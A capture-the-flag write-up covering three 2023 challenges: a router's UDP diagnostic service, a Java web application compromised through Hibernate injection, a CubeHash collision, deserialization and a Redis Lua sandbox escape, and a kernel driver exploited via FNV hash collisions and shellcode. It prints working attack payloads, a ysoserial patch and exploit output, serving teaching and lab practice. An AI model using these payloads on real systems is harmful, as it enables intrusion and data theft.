/HECACON/

2023 Challenges - Writeup

Written by Cyrille Chatras a.k.a "cyrillec"

Twitter: @CyrilleChatras
Mail: cyrille.chatras@orange.fr

IoT: ARMlessRouter

Overview

After having downloaded a VM that is supposed to be an ARM router we discover exposed processes. We can notice a vendor process named `ddiag_server` which exposes a service on UDP/1205. This kind of process is really common on IoT products and it has been targeted a lot in the last past years (e.g several attempts at last Pwn2Own events on TP-Link TDP protocol).

Proprietary Protocol

Packet structure

After looking at the different offsets of the packet checked and the corresponding logs we can deduce the following packet structure:

```
┌───┬───┬─────────┬─────────┬─────────┐
│ V │ O │  Len    │ SubOp   │ Magic   │
├───┴───┴─────────┴─────────┴─────────┤
│              MD5                    │
├─────────────────────────────────────┤
│           Data ...                  │
├─────────────────────────────────────┤
│              ...                    │
└─────────────────────────────────────┘
V=Version
O=OpCode
```

Creating this data structure in my decompiler helped me a lot in my reverse engineering.

> I am a ghidr'addict! I know what you think... Nobody is perfect!

ddiag_server FLAW

The exploitation consists on:

- Find a valid payload that once decrypted corresponds to a `G`.
- Send this payload with the `getKey OpCode`.
- Then use the key to encrypt `backup` payload in order to download the encrypted backup archive.

To find a valid payload, I first note that the among of bytes received from the `recvfrom()` is never compared to the length declared in the packet. Depending on the version of the provided packet, different diagnostic features can be triggered.

```
void parse_pkt(struct_pkt *pkt,int pkt_len,int addr,void *addr_len)
{
  ...
    field = (uint)pkt->magic;
    if (field == 0x5848) {
      field = (uint)pkt->len;
      if (field < 0x191) {
        if (0x17 < field) {
          if (pkt->type == '\x01') {
            strcpy(logmsg,"Packet v1!");
            log(3,logmsg);
            parse_pkt_v1(pkt);
          }
          else if (pkt->type == '\x02') {
            strcpy(logmsg,"Packet v2!");
            log(3,logmsg);
            parse_pkt_v2(pkt);
          }
  ...
}
```

On V2 packets, payload is first decrypted then MD5 is applied. The opCode allows to trigger different features.

```
void parse_pkt_v2(struct_pkt *pkt)
{
  ...
  res = decrypt_pkt(pkt);
  if (res == 1) {
    ...
    res = check_md5(pkt);
    if (res != 0) {
      ...
      switch (pkt->opcode){
        case 0x17:
          // getUptime
          ...
          break
        case 0x18:
          // echo
          ...
          break
        case 0x16:
          // getkey/setkey
          ...
          res = get_set_key(pkt, res_pkt);
          ...
          break
        case 0x22:
          // getmeminfo
          ...
          break
        case 0x2b:
          // getbackup
          ...
          break
        case 0x21:
          // getcpuinfo
          ...
          break
        default:
          // unknown
          ...
          break
      }
   ...
}
```

Getting the backup requires a valid decrypted string set to "backup". In order to encrypt this string it is required to get the key first.

```
int get_set_key(struct_pkt *pkt,char *res_pkt)
{
  ...
  if (*(char *)&pkt->subcode == '\x1e') {
    if (pkt->data[0] == 'G') {
      getkey(res_pkt);
    }
    if (pkt->data[0] == 'S') {
      setkey(res_pkt,pkt);
    }
  }
  ...
}
```

The data decryption is processed per block. However MD5 is processed on decrypted payload with the number of bytes declared in the length field. By calculating a valid MD5 for `G` payload we can bruteforce the encryption. This should take under 255 packets to get a valid payload. To valid that we succeed to get a decrypted `G` we can use the `echo` feature. Once I get a valid payload for `G` I called the `getkey/setkey` feature and I received back the AES key. It is then possible to encrypt `backup` string and call `backup` feature to get the backup archive.

Backup decryption

While reversing `bkp` binary I noticed a vulnerability in the AES key derivation. The key is derivate with MD5 but a cast to int is done while copying the result.

```
int main(int argc, char **argv){
 ...
   key = (uint *)getenv("BACKUPAESKEY");
   if (key != (char *)0x0) {
     ...
     setkey(key,&aeskey);
     encrypt(bkp_file,bkp_enc,&aeskey);
     ...
   }
}
```

Then

```
int setkey(uint *key,AES_KEY *aes_key)
{
  uchar *md;
  size_t sVar1;
  uint *data;
  MD5_CTX md5_ctx;
  md = (uchar *)malloc(0x10);
  key_len = strlen((char *)key);
  print_key((char *)key,key_len);
  putchar(10);
  data = (uint *)malloc(4);               // Only allocating 4 bytes
  *data = *key;                           // Cast 4 first bytes from key string to usigned int
  MD5_Init(&md5_ctx);
  MD5_Update(&md5_ctx,data,4);            // Process MD5 with only 4 bytes
  MD5_Final(md,&md5_ctx);
  AES_set_encrypt_key(md,0x80,aes_key);
  free(data);
  free(md);
  return 1;
}
```

After that, the AES CBC is applied to the data with a static IV set to `this_is_secretiv`. Bruteforcing can be done on the first 4 bytes of the key. If the result of the first bytes of decryption looks like a `gz` header then we can decrypt the whole file with it.

```
$ python3 crack.py backup.tgz.enc
[+] Key cracked: ecd5
[.] Uncipher text in : backup.tgz
[.] Try to read secret_flag
[+] Secret: #This is the real flag
HXN{8c7b6c7.....................................................}
```

Web/Crypto: AlmostIsoSerial

Overview

The source code is provided in an archive file. We immediatly see that it is composed of several components separated in containers. The main component is a Java application. It uses a MySQL database for models and a Redis service for sessions. A few good practices seems to be enable, such as apparmor profiles or MYSQL read only users. The Flag is on the Redis container, that let me guess that I will need to lateralize within the containers.

Hibernate Injection

Regarding authentication, I first notice an oracle as we receive back different messages when the user does not exist compared to when the user exists but the provided password is wrong. Also by adding a single quote we immediatly trigger an error that let me know that I will have to deal with an injection.

Looking at the decompiled Java code, in `UserRepositoryImpl.class`, we can see the format string allowing the injection:

```
...
  public Optional<User> findUserByUsername(String username) {
    String sql = String.format("SELECT u from User u WHERE (username='%s' and enabled=(1))", new Object[] { use
rname });
    TypedQuery<User> typedUser = this.entityManager.createQuery(sql, User.class);
    return typedUser.getResultList().stream().findFirst();
  }
...
```

Hibernate as its own syntax parser. Even if it first looks like SQL it is really different. For instance, it does not offer the possibility to build `UNION` requests.

For exploitation, I used the following payload in the username field:

```
a') or (username='admin' and password like '0%
```

It let me know if the password hash started with character `0` or not by leveraging the oracle (valid user or not). By iterating over the hexadecimal characters, I succeed to retreive the MD5 hash. The MD5 hash is a well known password.

CubeHash Collision

Once authenticated, we can see that datas can be sorted by providing serialized objects. Object deserialization provided by user is unsafe. In order to protect that, objects are sigend with an ED25519. For that the object is first hashed with `CubeHash` then signed. Valid objects can be collected by parsing web pages.

Looking quickly at the `CubeHash` algorithm, we understand that blocks are xored with a state table, then rounds (rotations, shifting, etc.) are applied on this state table. The flaw seems to reside in the size of the block that is almost the same as the size of the table. When updating a block we can set almost all the bits of the state table. It becomes possible to collide with a known state in order to get a valid signature. It is easy to get the last state tables (before rounds) of valid datas by reprocessing the collected hashes.

```
public CubeHash(int i, int r, int b, int f, int h) {
    ...
    this.b = b;                                     // Block size set to 62
    ...
    this.state = new int[32];                       // State is composed of 32 entries (a "& 0xffff" is applie
d in round())
    ...
  }
  public CubeHash() {
    this(160, 16, 62, 160, 256);
  }
  ...
  private void xorState(byte[] chunk) {
    for (int i = 0; i < chunk.length; i += 2) {
      int x = Byte.toUnsignedInt(chunk[i]);
      x |= Byte.toUnsignedInt(chunk[i + 1]) << 8;
      this.state[i / 2] = this.state[i / 2] ^ x;     // 62/2 = 31 => the Xor set 31 over 32 entries
    }
  }
```

Oh come on! You can XOR the entire state with an update?

The goal is to append blocks to the gzipped serialized payload in order to get the same state table after xor.Unfortunatly the last state entry can not be overwritten when updating. In order to get this state entry (which is 2 bytes) to a known value, we can bruteforce it with the previous block.

I rewrote the `CubeHash` class in python. Here is an example of how to get a collision:

```
In [1]: from cubehash import CubeHash
   ...: import struct
In [2]: # Create a signature
   ...: c = CubeHash()
   ...: c.update(b'a'*62+b'b'*62)
   ...: d1 = c.digest()
In [3]: # Get last state of this first signature
   ...: c = CubeHash()
   ...: c.update(b'a'*62)
   ...: c.xorState(b'b'*62)
   ...: s1 = c.state
In [4]: # Brute force last state
   ...: for i in range(0xffff):
   ...:     c = CubeHash()
   ...:     c.update(b'c'*60+struct.pack('<H', i))
   ...:     if c.state[-1] == s1[-1]:
   ...:       print("last state entry is equal")
   ...:       break
   ...:
last state entry is equal
In [5]: # Set collision
   ...: c2 = CubeHash()
   ...: payload = b'c'*60+struct.pack('<H', i)
   ...: toxor = []
   ...: for j in [x^y for x,y in zip(c.state[:-1], s1[:-1])]:
   ...:   toxor.append(j & 0xff)
   ...:   toxor.append(j >> 8)
   ...: payload += bytes(toxor)
   ...: c2.update(payload)
   ...: d2 = c2.digest()
In [6]: # Check collision
   ...: d1 == d2
Out[6]: True
```

As a result our payload blocks look like:

```
┌─────────┬─────────┬─────────┬─────────┬─────────┐
| data1   |  ...    | dataX   | brute   |  xor    |
└─────────┴─────────┴─────────┴─────────┴─────────┘
```

Deserialization vulnerability

Deserialization exploitation can be really complex as it requires to find gadgets of serializable objects. Fortunatly the application is compiled with libraries known for being exploitable. Especially `commons-collections4:4.0` that is supported by `ysoserial` payload generator. Payload generation would have been straight forward if the deployment would not have been hardened with docker profiles. `apparmor` prevent shell execution, so it becomes necessary to modify `ysoserial` in order to only execute Java code.

The following patch on `ysoserial` is doing the job:

```
diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets
.java
index d4cd783..b2983d5 100644
--- a/src/main/java/ysoserial/payloads/util/Gadgets.java
+++ b/src/main/java/ysoserial/payloads/util/Gadgets.java
@@ -114,9 +114,10 @@ public class Gadgets {
         final CtClass clazz = pool.get(StubTransletPayload.class.getName());
         // run command in static initializer
         // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protection
s
-        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
-            command.replace("\\", "\\\\").replace("\"", "\\\"") +
-            "\");";
+        String cmd = command;
         clazz.makeClassInitializer().insertAfter(cmd);
         // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
         clazz.setName("ysoserial.Pwner" + System.nanoTime());
```

Lateralization

As already introduced, the next step is to compromize the `redis` server in order to get the flag. In the `Dockerfile` the `redis` is forced to `redis-server=5:5.0.7-2` from `ubuntu` repositories. According to Ubuntu this version is vulnerable to remote code execution thanks to LUA sandbox escape. This requires to be authenticated.

With the following payload it is possible to execute shell commands:

```
AUTH redis_password_changed_on_remote
EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l()
; local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
```

However, `getflag` SUID binary requires a `tty` in order to execute properly. The binary is then waiting for `-889275714` integer value. The following shell command does the trick.

```
faketty () { script -qc \"getflag\" ; } ; echo -889275714 | faketty
```

To communicate with the redis server I just used `Java.net.socket` in my `ysoserial` payload. I then stored the result in a temporary file on the web application container.

Flag extraction

Once the flag is copied on the web application container, I did not find any way to extract it in a smart way. The MySQL user is Read-Only preventing us to put the flag into the database. I also unsuccessfully tried to play with file descriptors.

> ☠@/$#%力 !? Feeling of failure!

I decided to extract it blindly by guessing char by char with the Java remote code execution, falling in a sleep when the good char has been found.

Exploitation

Here is what looks like the combinations of exploitation. We first extract the MD5 password of "admin" user:

```
$ python3 exploit_auth.py
[+] Hash found: 4cb9c8a8048fd02294477fcb1a41191a
```

I manually retreive the associated cleartext, but some APIs allow to do it as well.

We then trigger the RCE a first time to load the flag in a temporary file on the web application container:

```
$ python3 exploit_rce.py changeme
[.] Collecting signatures
[.] Got 252 signatures
[.] Bruteforce last state
[+] Found valid state for sig nb 232
{
  'data': 'H4sIAAAAAAAAAI2SvUscQRjG39usF2M+1AvBSoJwpIgwq6RIYRM9L9zB+pUTC1MNu3PHnHszm3dnvY9CSJs6FhYRxNZCFEHQ3oCd
/0DyD6RKE1L5jiZyWO0Uw/DOPL/3mWfm4BcMJAjvAt1iUnV1inUeiIRtStEWyAKtDOooEpiwBU3F0l2hWNNoljnyljACj93Rl99PJisOOB/BbaZ
qw9Bqzod8QsfmugZe+RobXhKjVI26VbU1bnghN9wLdYtL5VngTCdO0SoPfo/9yQ+u/nQAOjEAjLxtDl8ebvdWHn4J/B97T0/JdZGI7B6RWSK7JT
JLXNr9ev7+4u+EAzlyozGkuxgY8Zt8k3upkZHny8T2JeBzW2S2yGYRedfudD5fje9c8G8PIFcFN5E9ceMn13btTKLXWVwUl2zjFxOPj/Y/1M8cc
NdhSDaURlHiifDhUShRBEZSvDCVKani/H/FjA9PVBpFFa7CiDQG3mQjLPaJCDIYo44FGnqswm08EVcNr2YshgKCLQSW6bJ31uDfKNArIjy7iddC
WVmlrf7N2IA7X66VqMV0phb93vtBn2ALRg3kF2dXq2tl+oQy7FwDAP4Q6eUCAAA=',
  'sig': 'a4693c171c9bbdab723f03384b9889618e11a1dac2deea1340775d907ae9d0d8a62c49c125549c9d63fa53988a23b2c04ccb8
3a09cedf13421ccf3fae1dcd401'
}
[.] Generate payload
[.] Payload assertion is ok for sig: a4693c171c9bbdab723f03384b9889618e11a1dac2deea1340775d907ae9d0d8a62c49c125
549c9d63fa53988a23b2c04ccb83a09cedf13421ccf3fae1dcd401
[.] Attempting code execution
[+] RCE Succeed
```

Finally we trigger multiple RCE to blindly extract the flag, when the request timeout, we know that is the good character and we go for the next one:

```
$ python3 extract_flag.py changeme
[.] Attempting to find char 0
[+] Success: H
[.] Current result: H
[.] Attempting to find char 1
[+] Success: X
[.] Current result: HX
[.] Attempting to find char 2
[+] Success: N
[.] Current result: HXN
[.] Attempting to find char 3
[+] Success: {
[.] Current result: HXN{
...
[+] Flag: HXN{...}
```

RE/Pwn: KVSRV

Overview

When starting this challenge we faced two important files `kvservice.exe` and `secstore.sys`. Both are PE files making me think of a Windows challenge. As a Linux guy I was worry about it. However a `Dockerfile` is also provided showing that these files are running on Linux through `cosmosdb-emulator`. Despite the fact that it is not running on Windows, this emulator complexify a bit the debugging.

Reverse-Engineering

After looking at the symbols, I quickly understood that this challenge highly rely on a library named `capnp`. I was not aware of `Cap\'n Protocol` and decided to spend a few hours to play with the tools and the samples provided with the library. I also played with `pycapnp` in order to be able to develop my exploit with `python`. Once I understood the schema compilation, the reversed code is much more understable. By reading the `Reader` classes (and especially `bounded` methods), it possible to deduce the expected schema. These `Reader` are cross referenced with `get`, `set` and `del` methods from `KeyStoreValueImpl`. These methods are also a good indication of the expected RPC calls. Also enabling `verbose` mode helps a lot.

The last challenge to overcome was to retrieve the `requestedTypeID` of the schema for the RPC calls. The `KeyValueStore::Server` is checking it when dispatching calls (`dispatchCall()`).

I was able to interact with the service with the following schema:

```
@0x85c6a9902aa4d2aa;
interface KeyValueStore @0xa04a94c9b0ff2a20 {
   get @0 (kv: KV ) -> (value: V);
   set @1 (kv: KV );
   del @2 (kv: KV);
   struct KV {
     key @0 :Key;
     value @1 :Value;
   }
   struct V {
     value @0 :Value;
   }
   struct Key {
     data @0 :Data;
     pin @1 :UInt32;
     sec @2 :Kernel;
     enum Kernel {
        none @0;
        pin @1;
        kernel @2;
        max @3;
     }
   }
   struct Value {
     union {
       int @0 :Int32;
       uint @1 :UInt32;
       int64 @2 :Int64;
       uint64 @3 :UInt64;
       text @4 :Text;
       data @5 :Data;
    }
   }
}
```

Vulnerability

The storage backend is choosed thanks to the `sec` field of the `Key` request parameter. When this field is set to `kernel` or `max`, it uses the Kernel driver named `SecStore`. `SecStore` is expecting a hash signature of the provided key in order to store datas in a `GenericTableAvl`.

The hash is computed in userland by `keyhash()`. This is a 32 bits Fowler-Noll-Vo hash algorithm. As stated by its wikipedia page, it is not a cryptographic algorithm.

```
uint keyhash(basic_string<> key)
{
  char *ptr;
  basic_string<> *str;
  uint res;
  usize i, sz;
  res = 0x811c9dc5;
  ptr = std::basic_string<>::c_str(key);
  i = 0;
  while( true ) {
    sz = std::basic_string<>::size(ptr);
    if (sz <= i) break;
    res = (res ^ (int)ptr[i]) * 0x1000193;
    i = i + 1;
  }
  std::basic_string<>::~basic_string<>(ptr);
  return res;
}
```

It is quiet easy to get collisions on it by bruteforcing. For instance:

```
fnv("$7d'") == fnv("8 @ ") == 314085901
```

Also the amount of data to read and write is only kept in the userland. Kernel driver is not aware of that. Therfore, collisions leads to inconcistencies regarding the amount of data to read or write.

As an example, storing a small amount of data with `$7d'` key and then write a large amount of data with `8 @` key will lead to an Out Of Bound write:

- The userland is considering that the second `set` as a new one
- The kernel driver retreive the small chunk allocated and write the large amount of data in it.

At the opposite, storing a large amount of data with `$7d'` key and then write a small amount of data with `8 @` key, two times, will lead to an Out Of Bound read:

- The first two calls are allocating a large chunk and then rewritte a small amount of data in it.
- The third call is going to free the allocated chunk and allocate a smaller one.
- When reading the large one, it leaks datas after the chunk.

Reverse Engineering GenericTableAvl

This part required me to reverse `sqlpal.dll` which was not in the provided source code, but was in the image built.

This library handles the calls done by the drivers, such as `RtlInitializeGenericTableAv`, `RtlInsertElementGenericTableAvl` or `RtlLookupElementGenericTableAvl`. This function manipulates `Element` that are linked thanks to an header (named here `TableEntry`):

```
struct TableEntry {
  void *poolEntry;
  void *parent;
  TableEntry *left;
  TableEntry *right;
  ulong flag;
}
```

The entry on left is supposed to be smaller than the current entry. The entry on right is supposed to be greater. The comparison is done by a function provided at the initialization (offset `0x140005280`), beside entry allocation and free helper functions. This functions are stored int the Table structure. The first entry of the table (the root entry) has the table itself as a parent. This allows to know the Table address.

The table structure is as the following

```
struct Table {
  void *this;
  ...
  TableEntry *root;
  ...
  usize size;
  ...
  Compare *compare;
  Allocate *alloc;
  Free *free;
  ...
}
```

From OOB to Arbitrary Read/Write

A magic collision to `0x0` signature allows to point at a lot of memory addresses.

I found this collision:

```
fvn("68m* ") == fvn("+!=yG") == fvn("eSN.1") == 0x0
```

By overwritting the `left` pointer of the root entry, in order to make it point to any data starting with a `0` qword, it becomes possible to read and write datas thanks to these keys.

> Sooo much null memory everywhere!? A waste of memory eh?

Exploit Strategy

The PE INIT segment of the driver is a `RWX` memory area. By leaking the driver address (in ourself `compare()` function pointer) it is possible to retrieve this address.

Here are the steps of the exploitation:

- Sanitize the heap with allocations
- Use a collision to read the heap.
- Retreive the table address (parent of root entry) and the chunk addresses
- Leak the address of `compare()` in the table structure.
- Write the shellcode in the `RWX` area.
- Overwritte `compare()` in the table structure with the shellcode address.

The shellcode read the flag and store it in a valid chunk. It then fix back the `compare()` address. A first `get()` allows to trigger the shellcode. The second `get()` returns the result moved in the adequat chunk.

```
$ python3 exploit.py
[.] Heap sanitization for alignment
[.] Making collsisions OOB Read and OOB Write
[.] Cleaning objects to only kept necessary
[.] Trigger leak
[+] root entry found: table_addr = 0x3fff822964e0
[.] heap chunk address : 0x3fff82436a08
[.] Point left to table (with 0 hash)
[+] function pointer compare_addr = 0x3802d5280
[.] rwx_addr = 0x3802d6800
[.] Insert shellcode
[.] Redirect exec to rwx
[.] Flag: HXN{59fc454.............................}
```

That was a lot of fun! I learned so much during this challenge. Thank you.